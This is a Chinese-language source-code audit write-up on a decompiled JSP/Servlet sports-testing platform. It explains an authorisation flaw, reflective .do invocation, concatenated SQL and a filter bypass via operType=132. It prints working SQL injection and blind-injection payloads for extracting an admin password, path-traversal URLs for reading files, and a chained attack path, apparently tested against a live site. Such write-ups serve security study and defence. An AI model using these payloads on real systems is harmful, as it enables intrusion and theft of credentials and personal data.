一份 Java Web 源码审计实录:179 个 class 反编译后的攻击面全景
一句话结论:拿到一套 JSP+Servlet 传统架构体育测试平台的源码包(496 个 JSP / 179 个 class / 无 .java),用 web.xml 当路由地图、用 CFR 把 179 个 class 反编译为 164 个 Java,三层递进(路由层→控制层→数据层)审计,一次性揭开了被注释的 SQL 注入过滤器、权限短路逻辑、.do 反射任意调用、全库 Statement 拼接、type 分发无认证数据口、只防一半的路径过滤、operType=132 过滤器豁免后门七类缺陷,串成一条从「未授权拉全量明文密码」到「任意文件读到数据库配置」的完整攻击链。
排版说明:本文为兼容纯文本存储环境做了等价书写——Java 源码示例中的双引号字符串统一改写为单引号(仅示意,不改变逻辑语义);Windows 路径分隔符统一用反斜杠的文字描述或 URL 编码形式 %5C 表示;replaceAll 第二个参数原文为四个反斜杠表示的一个字面反斜杠,本文用「反斜杠」文字描述。
一、为什么做代码审计
目标是一套体育测试平台(Java Web,JSP+Servlet 传统架构),获取到了源码包。市面上大部分 Java 渗透文章都是黑盒视角:扫目录、测注入点、绕 WAF。但当源码在手时,黑盒就是自缚手脚。源码审计能回答三个黑盒永远问不出的问题:入口在哪、防护在哪、数据在哪。
项目概况:496 个 JSP、179 个 class、无 .java 源码;混合栈(Access + SQLServer + MySQL、DWR、JAX-WS)。目录结构里 WEB-INF/web.xml 是首个审计对象(路由地图)。
二、审计第一步:web.xml 是路由地图
拿到源码先别翻代码,先看 web.xml——一个 Servlet 项目的攻击面全在这里:哪些 servlet 暴露、哪些过滤器保护、哪个路径免认证。
发现一:被注释掉的过滤器。 web.xml 里 antiSqlInjection 过滤器被整段注释(filter 定义 + mapping 都在注释符号内):
<!-- <filter>
<filter-name>antiSqlInjection</filter-name>
<filter-class>com.oa.filters.AntiSqlInjectionfilter</filter-class>
</filter>
<filter-mapping>
<filter-name>antiSqlInjection</filter-name>
<url-pattern>*.jsp</url-pattern>
<url-pattern>/*</url-pattern>
<dispatcher>REQUEST</dispatcher>
</filter-mapping> -->
Servlet 里的 Filter 相当于收费站:请求进来先过过滤器再进 Servlet。这个过滤器本来叫 AntiSqlInjection(防 SQL 注入),mapping 范围是 .jsp 和 /(所有路径)。注释掉 = 收费站拆了 = 所有请求直接裸奔进代码。 审计经验:成对的注释符号是审计弱信号首选——被注释的代码 = 厂商曾经部署、后来主动放弃的防线。
但要警惕一个易误判的坑:源码里注释了不代表线上也注释了——源码审计只告诉你这个包的状态,线上长什么样必须实测(后文 0x08 会看到线上其实启用了过滤器)。
三、反编译:CFR 把 179 个 class 变成可读 Java
没有 .java 就反编译。工具选型 CFR 是仍在活跃维护的 Java 反编译器,对老版本 class 兼容性极好:
java -jar cfr-0.152.jar *.class --outputdir decompiled/
179 个 class → 164 个 Java 文件。反编译后的审计路径是三层递进:
第一层 路由层:web.xml——谁暴露、谁被过滤器保护
第二层 控制层:Servlet/Action 的权限检查、参数处理
第三层 数据层:DAO / DButil 的 SQL 构造方式(预编译 or 拼接)
四、发现一:Servlet 的权限检查「短路」逻辑
com.oa.某Servlet.performTask() 的权限判断:
if (!(operType.equals('-1') || operType.equals('1') || operType.equals('911')
|| operType.equals('62') || operType.substring(0, 1).equals('3')
|| (roleList = (String)session.getAttribute('Login_UserRoleList')) == null
|| this.checkRole(operType, roleList))) {
// 无权限 → error.jsp
}
这段是某 servlet 的门卫。operType 是请求参数(1=登录、6=查询学生、1006=导入成绩……)。门卫放行三类请求:1) 白名单操作:operType 是 -1/1/911/62/以 3 开头(不用登录也能做,如登录本身);2) 已登录且有角色:session 里 Login_UserRoleList 包含该 operType 权限;3) Login_UserRoleList == null → 放行(漏洞就在这)。
为什么是漏洞?正常逻辑应是未登录(没有角色列表)→ 拦截。但代码写成 (roleList = session.getAttribute(...)) == null:未登录时 session 里没有 Login_UserRoleList 这个属性 → roleList 为 null → 这个条件为 true → 整个取反后为 false → 不拦截、直接放行。用人话说:门卫的逻辑是没带工牌的人放行。攻击者未登录直接访问某 servlet?operType=6(查询学生)等非白名单操作,会被放行进业务代码。线上预期响应分两种:401/跳转登录说明已补口子(但修的只是入口、代码缺陷还在);200 + 数据说明未修复、未登录可直达业务代码。
五、一个误报(比漏洞更值钱的教训)
「bCheck 未使用」看起来像认证绕过。 com.oa.某Servlet.checkPassword:
boolean bCheck = UserDAO.checkUser(userNo, passwd); // bCheck 赋值后从未被引用
User user = UserDAO.getUserByUserNo(userNo);
session.setAttribute('Login_User', (Object)user); // 看起来无条件登录
session.setAttribute('Login_UserRoleList', ...);
this.callPage('/mainFrame.jsp', request, response); // 看起来直接进后台
第一眼结论:checkUser 返回值未使用 → 密码错也能登录 → 任意用户登录。这实际上是误报。 真相藏在异常控制流里:UserDAO.checkUser 用抛异常表达失败;performTask 的入口结构是:
public void performTask(...) {
try {
...
case 1: this.checkPassword(request, param, response); break;
...
}
catch (Exception ex) { // ← 所有异常在这里被接住
request.setAttribute('message', ex.getMessage()); // 密码错误! / 该用户编号不存在!
this.callPage('/某Web/common/error.jsp', request, response); // → 跳错误页
}
}
整条执行链:checkPassword → checkUser 密码错 → 抛异常 → 异常向上冒泡 → 被 performTask 的 catch 接住 → 跳 error.jsp,session.setAttribute 根本不会执行。所以 bCheck 虽没被读,但密码校验是通过抛异常中断实现的,不是真漏洞;线上实测也印证:错误密码一律返回错误页。复盘教训:Java 里 throw 也是控制流;审计要先看校验函数的失败表达方式——return false(后续要判断)与 throw(直接中断)是两种完全不同的语义;「变量赋值后未使用」只是可疑信号不是漏洞结论,必须追到实际控制流再定性。这成了作者反编译审计的必备检查项:先看异常,再谈赋值。
六、发现二:.do 反射调用链(URL 指定代码执行)
com.xql.filter.某Filter.doFilter() 映射 *.do。URL 格式为「类名!方法名.do」,例如 /StudentAction!getStudentListJson.do。过滤器从 URL 拆出类名方法名后反射执行:
String url = servletRequest.getRequestURI(); // /StudentAction!getStudentListJson.do
str = url.substring(start + 1, url.indexOf('.')); // StudentAction!getStudentListJson
String[] tmp = str.split('!');
className = tmp[0]; // StudentAction
methodName = tmp[1]; // getStudentListJson
String className_ = 'com.xql.action.' + className; // 拼完整类名
Class c = Class.forName(className_); // 反射加载类
Object o = c.newInstance(); // new 实例
Method m1 = o.getClass().getMethod('setRequest', ...); // 把 request 塞给 Action
// ……随后反射调用 methodName 无参方法
为什么是洞?三点叠加:1) 类名、方法名由攻击者控制(URL 里叹号前后);2) 没有任何登录检查(getSession(false) 后直接执行,不校验用户);3) Action 里的 SQL 参数从 request 拿 + DAO 全拼接。反直觉的点:反射调用的是无参方法(new Class[0]),但参数并没落空——request 对象被 setRequest 注入进 Action,SQL 参数走 this.getRequest().getParameter() 取,「无参方法 + 可注入」不矛盾。看真实 Action:
public void getStudentListJson() {
String studentNo = this.getRequest().getParameter('studentNo'); // 参数从你发的请求里取
String sql = 'select * from student where studentNo=' + 单引号 + studentNo + 单引号; // 拼接
list = new DButil().getReslutList(sql, new int[0]); // Statement 执行
}
完整利用链,一行 URL = 指定类 + 指定方法 + 传注入参数 + 未认证执行:
/StudentAction!getStudentListJson.do?studentNo=1' and '1'='1
studentNo 拼接进了 SQL(where studentNo=…),and 1=1 恒真 → 反射链真实执行 → 顺带把身份证号、明文口令一起吐了出来。
七、发现三:DAO 层全 Statement 拼接 + type 分发接口
全库拼接的根因。 com.oa.util.DButil 统一封装所有查询,全库 5 处 createStatement(),没有任何 prepareStatement:Statement stmt = con.createStatement();(拼接 SQL 直接执行)。两种写法对比:
拼接(该系统): String sql = 'select * from student where studentNo=引号' + studentNo + '引号';
攻击者输入 20260101' or '1'='1 时,实际 SQL 变成:
select * from student where studentNo='20260101' or '1'='1' -- 恒真 → 返回全表
预编译占位符(正确): String sql = 'select * from student where studentNo=?';
stmt.setString(1, studentNo); // 参数走独立通道
一句话:拼接 = 用户输入改 SQL 结构(注入);占位符 = 用户输入永远是数据(安全)。数据库把问号当成一个值,攻击者的引号只是字符串内容,永远不会变成 SQL 代码。全库无预编译 = 每个把参数拼进 SQL 的接口都是潜在注入点,只要找到「参数→SQL→输出」的闭合链即可利用。
type 分发接口:一个参数切出数据口。 com.oa.ImportItemServlet(映射 /某oid/ImportItemServlet)是某 oid 端接口,类里没有任何 session 检查(反编译全文只有 doGet/doPost,无 Login_User 判断),按 type 参数分发业务:
} else if (type.equals('2')) {
sql = 'select * from user'; // 用户表全量
String passWord = h.get('passWord') == null ? '' : (String)h.get('passWord');
obj.put('password', passWord); // 明文密码直接塞 JSON
} else if (type.equals('3')) {
sql = 'select st.studentNo,st.name,st.sex,st.gradeNo,st.cardNo,st.IDCard,st.classNo,...'; // 身份证字段也在
}
为什么 type 分发高危:开发者习惯一个接口多个 type,以为参数能控制行为就安全了,却忘了认证是独立维度——type 只是业务分支,没人在分支前加登录检查。type=2/3 参数 type 是数字不注入,走的是未授权数据口(全量用户明文密码 + 全量学生身份证),与注入是两条线不同后果但同出「无预编译 + 无认证」这一根因。
八、同一根因第二种后果:管理查询接口的回显盲注
/servlet/某servlet 的管理查询接口存在注入点 queryValue(查询学生成绩时传学号)。「存在性回显」机制是盲注成功的关键:queryValue=正常学号 → 正常回显;queryValue=学号加单引号 → 语法错误异常回显;学号加 and 1=1 → 恒真正常回显。即条件为真→正常回显、条件为假/报错→异常回显——这就是布尔 oracle。
用 EXISTS + left() 逐字符猜密码:
-- 确认 EXISTS 子查询可用(用户名存在 → 恒真 → 正常回显)
queryValue=210401010001' and exists(select * from USER where userNo='admin') and '1'='1
-- left() 逐字符盲注:猜密码第一位
queryValue=210401010001' and exists(select * from USER where userNo='admin' and left(passWord,1)='h') and '1'='1
# → 正常回显 → 首字符确实是 h
queryValue=210401010001' and exists(select * from USER where userNo='admin' and left(passWord,1)='l') and '1'='1
# → 异常回显 → 排除 l
逐字符遍历直到 left(passWord,10)=完整密码 命中,即可还原管理员密码(已脱敏)。
九、发现四:任意文件下载(只防一半的路径过滤)
com.oa.CommonFileDownload(映射 /fileDownload,无认证):
String allPathName = request.getParameter('allPathName'); // 完全可控
allPathName = allPathName.replaceAll(正斜杠, Matcher.quoteReplacement(File.separator));
// ↑ 只把正斜杠换成反斜杠(Windows 分隔符)
filePath = allPathName.substring(0, allPathName.lastIndexOf(File.separator));
fileName = allPathName.substring(allPathName.lastIndexOf(File.separator) + 1);
this.realPath = request.getSession().getServletContext().getRealPath(filePath);
file = new File(this.realPath, fileName); // new File 直接拼
if (file.exists()) { … 读文件流输出 … }
漏洞原理:开发者以为 replaceAll(正斜杠→反斜杠) 能把所有路径分隔符统一转换堵住穿越,但只处理了正斜杠——攻击者提交「点点反斜杠」形式(用反斜杠),replaceAll 发现没有正斜杠可替换、原样保留,new File(realPath, fileName) 直接拼出越权路径。这是 Windows 上高频的「防一半」漏洞模式:黑盒很难猜中这种写法,源码一翻就透。线上验证:
# ① 读应用核心配置 web.xml
/fileDownload?method=CommonDownload&filePath=WEB-INF&fileName=web.xml
# ② 读系统文件 win.ini(跨出 Web 目录,任意文件读取)
/fileDownload?method=CommonDownload&allPathName=..%5C..%5C..%5C..%5C..%5Cwindows%5Cwin.ini
# ③ 双参数分支(零过滤)同样可穿越
/fileDownload?method=CommonDownload&filePath=&fileName=..%5C..%5C..%5C..%5C..%5Cwindows%5Cwin.ini
allPathName 分支:replaceAll 只处理正斜杠,%5C(编码反斜杠)原样进「点点」穿越 → 读出 windows 下 win.ini;filePath+fileName 分支零过滤。web.xml 明文读出意味着下一步可读数据库配置文件(dbConfig.properties 等)——任意文件读取直接升级为凭据面泄露。
十、线上的过滤器绕过:operType=132 豁免参数
前面说源码里过滤器被注释,但线上实测发现过滤器其实是启用的(带注入字符的请求返回「参数中含有非法字符」拦截页)。而这个启用状态的过滤器可被一个业务豁免参数整体绕过:
# 实测 1:不带豁免参数,注入被过滤器拦截
/某Web/news/New_detail.jsp?id=1 and 1=1 → HTTP 500「参数中含有非法字符」
# 实测 2:加 operType=132,过滤器直接放行
/某Web/news/New_detail.jsp?id=1 and 1=1&operType=132 → HTTP 302 → HTTP 200(SQL 真实执行,过滤被绕过)
原理:过滤器的白名单逻辑里 operType=132(某项业务豁免)会把整条请求标记为不需要过滤——任何请求附加 operType=132 即可完全绕过 SQL 注入防护。这是「业务豁免参数 = 过滤器后门」的典型模式:黑盒发现它全靠运气(要试对参数名),审计里扫一眼过滤器的豁免分支就拿到了。
十一、一条完整的攻击链
代码审计相对黑盒的核心价值:把零散的代码缺陷组织成攻击链,并给出每个缺陷的精确源码定位(哪个文件、哪一行、哪个函数)——提交漏洞时修复方直接照源码改即可。本项目的链:
① type 分发接口(无认证)→ /某oid/ImportItemServlet?type=2/3
↓ 全量用户明文密码 + 全量学生数据(含身份证)
② 管理查询注入 → queryValue EXISTS+left() 盲注(与①密码交叉验证)
↓
③ 泄露凭据登录 → 进入管理后台
↓
④ fileDownload allPathName → 任意文件读取(只防一半的过滤)
↓
⑤ .do 反射链 / operType=132 过滤器绕过 → 全站注入面
十二、审计方法论总结
- 先画地图再审计:web.xml → filter → servlet → DAO,快速建立攻击面全景;被注释的过滤器是弱信号首选。
- 反编译三层递进:路由层(谁暴露)→ 控制层(权限检查)→ 数据层(SQL 构造方式)。
- 先看校验函数的失败表达方式:return false 与 throw Exception 语义完全不同——bCheck 未使用被误读成认证丢弃就是真实翻车案例。
- 全库搜 createStatement:无预编译 = 注入面全开;顺着「参数→SQL→输出」找闭合链。
- 路径过滤只防一半是惯例:replaceAll(正斜杠→反斜杠) 这类写法在 Windows 上等于没防。
- type 分发接口是高危扇区:一个接口按参数分发多业务,无认证 = 数据口。
- 业务豁免参数 = 过滤器后门:operType=132 这类豁免位是绕过防护最优雅的入口。
- 审计不等于可利用:线上验证分「可利用/已加防护」两类记录;但源码缺陷的持久性决定了审计结论永远有价值。